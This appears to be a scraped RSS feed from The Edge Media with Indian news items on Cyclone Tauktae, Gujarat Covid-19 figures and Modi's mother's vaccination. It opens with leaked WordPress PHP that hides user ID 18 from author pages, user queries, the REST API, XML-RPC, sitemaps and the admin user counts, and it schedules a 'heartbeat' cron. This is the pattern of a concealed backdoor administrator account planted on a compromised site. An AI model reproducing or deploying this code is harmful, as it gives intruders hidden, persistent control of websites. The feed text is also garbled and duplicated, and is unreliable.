add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi To Review Preparations As Cyclone Tauktae Intensifies Off Gujarat appeared first on The Edge Media.
]]>
Prime Minister Narendra Modi will hold an important meeting today to review preparations to deal with impending Cyclone Tauktae, government sources said.
Top officers from across government departments, including the National Disaster Management Authority, will attend the meeting, they told news agency Press Trust of India
The India Meteorological Department or IMD had said on Friday that the depression in the Arabian Sea is likely to intensify into a “very severe cyclonic storm” and cross the Gujarat coast a day later. “The weather condition has intensified into a deep depression. It is very likely to further intensify into cyclonic storm ‘Tauktae’ by Saturday morning and very likely to intensify further into a severe cyclonic storm by Saturday night,” it had said.
The National Disaster Response Force or NDRF has earmarked 53 teams to tackle possible after effects of Cyclone ‘Tauktae’, which is developing in the Arabian Sea.
The post PM Modi To Review Preparations As Cyclone Tauktae Intensifies Off Gujarat appeared first on The Edge Media.
]]>The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>While it may be too early to cheer, state officials said it was definitely a reason to get releived as the figures suggest that the state may have tided over the peak of the second wave after all.
The analysis of Covid cases however presented a contrasting picture for the cities and rest of Gujarat – the eight municipal corporation areas in the past 10 days recorded 61,346 positive cases, which were 31.5% down from 89,543 cases recorded in its previous 10 days (April 25-May 4). During the same period, the rest of Gujarat reported a rise of 8.8% in cases – from 49,192 to 53,530 cases.
For Ahmedabad city, it was 29 day lowest daily tally at 2,764, whereas for Surat, it was 37- day lowest.
The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>While it may be too early to cheer, state officials said it was definitely a reason to get relieved as the figures suggest that the state may have tided over the peak of the second wave after all.
The analysis of Covid cases however presented a contrasting picture for the cities and rest of Gujarat – the eight municipal corporation areas in the past 10 days recorded 61,346 positive cases, which were 31.5% down from 89,543 cases recorded in its previous 10 days (April 25-May 4). During the same period, the rest of Gujarat reported a rise of 8.8% in cases – from 49,192 to 53,530 cases.
For Ahmedabad city, it was 29-day lowest daily tally at 2,764, whereas for Surat, it was 37-day lowest.
Mortality however has remained constant for the cities and state at large in the past 10 days.
At 1.17 lakh active cases, it was an 18-day low for the state. Dr Kirit Gadhvi, president of Ahmedabad Medical Association (AMA), said that there is definite dip in the calls the citybased doctors are receiving for the beds, oxygen and medicines. “But there’s still scarcity of the ICU and ventilator beds across the city. It is time to build on the resources. We cannot afford any laxity,” he said.
Dr Bharat Gadhvi, president of Ahmedabad Hospitals and Nursing Homes Association (AHNA), said that the association has written to the Gujarat CM not to extend any relaxations in the current restrictions. “With great efforts we have come out of one of the worst phases of the pandemic. It would sound like the death knell of the healthcare system if the state is again faced with the same burden of daily cases,” he said.
Dr Dhiren Mehta, a citybased physician, said that the daily OPDs at various clinics for the fever and other Covid-19 symptoms have gone down. “However, every fever case should be investigated and treated. We must not let our guards down. Identifying cases quickly and isolating them has remained a sure-shot method to prevent the spread,” he said.
The post Covid-19: Gujarat records less than 10,000 daily cases 1st time in 27 days appeared first on The Edge Media.
]]>The post Vaccine: Prime Minister Modi’s mother Heera Ben received corona vaccine appeared first on The Edge Media.
]]>Prime Minister Modi further wrote that I appeal to all of you I want all those who are eligible to get the vaccine or come under its purview, all of them should get corona vaccine and also motivate others to get the vaccine. PM’s mother Hiraben, 100 years old, lives in Gandhi Nagar, Gujarat, she is very active in the whole way and takes great care of her health.
Let us tell you that at the beginning of the second phase of vaccination, PM Modi was given a corona vaccine. The first dose was given, Prime Minister Modi is very close to his mother, whenever he visits Gujarat, he definitely goes to meet mother Heeraben.
The post Vaccine: Prime Minister Modi’s mother Heera Ben received corona vaccine appeared first on The Edge Media.
]]>The post PM Modi to address conference of Kevadia military commanders in Ahmedabad today appeared first on The Edge Media.
]]>The post PM Modi to address conference of Kevadia military commanders in Ahmedabad today appeared first on The Edge Media.
]]>